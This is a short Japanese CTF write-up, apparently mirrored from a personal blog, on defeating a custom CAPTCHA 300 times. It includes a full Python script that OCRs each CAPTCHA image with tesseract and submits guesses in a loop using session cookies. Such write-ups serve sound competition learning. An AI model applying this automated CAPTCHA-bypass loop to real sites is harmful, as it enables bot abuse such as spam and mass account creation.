Rating:

自作のRecaptchaシステムが与えられるので300回回避する問題。
適当に以下とかを見ながら環境を作る。
[tesseract+pytesseractのdockerコンテナ](https://qiita.com/cranpun/items/704a32f0def141ea1da4)
これでOCRを使ってソルバーを書いて回避。
使ったOCRエンジンの精度がひどいが、失敗してもペナルティ無しなので、適当に回していればフラグまでたどり着く。

```python
import requests
import re
import base64
from PIL import Image
import pytesseract

BASE_URL = 'https://captcha1.uctf.ir'
INIT_SESSID = '5af1ob090g94h8plhnm27v61gp'

cookies = {
'PHPSESSID': INIT_SESSID,
'926835342a210d84823968c8328cc3c8' : '6a1941a8e10bb5cbd77de0fd19bcebae'
}

b64image = re.search(r'data:image\/png;base64,([^"]*)"', requests.get(BASE_URL + '/', cookies=cookies).text)[1]
with open("image.png", 'bw') as fp:
fp.write(base64.b64decode(b64image))

for i in range(300):
print(i)
ocred = pytesseract.image_to_string(Image.open("image.png")).strip()
t = requests.post(BASE_URL + '/', data={'captcha': ocred}, cookies=cookies).text
b64image = re.search(r'data:image\/png;base64,([^"]*)"', t)[1]
with open("image.png", 'bw') as fp:
fp.write(base64.b64decode(b64image))
```

Original writeup (https://blog.hamayanhamayan.com/entry/2023/09/04/232413).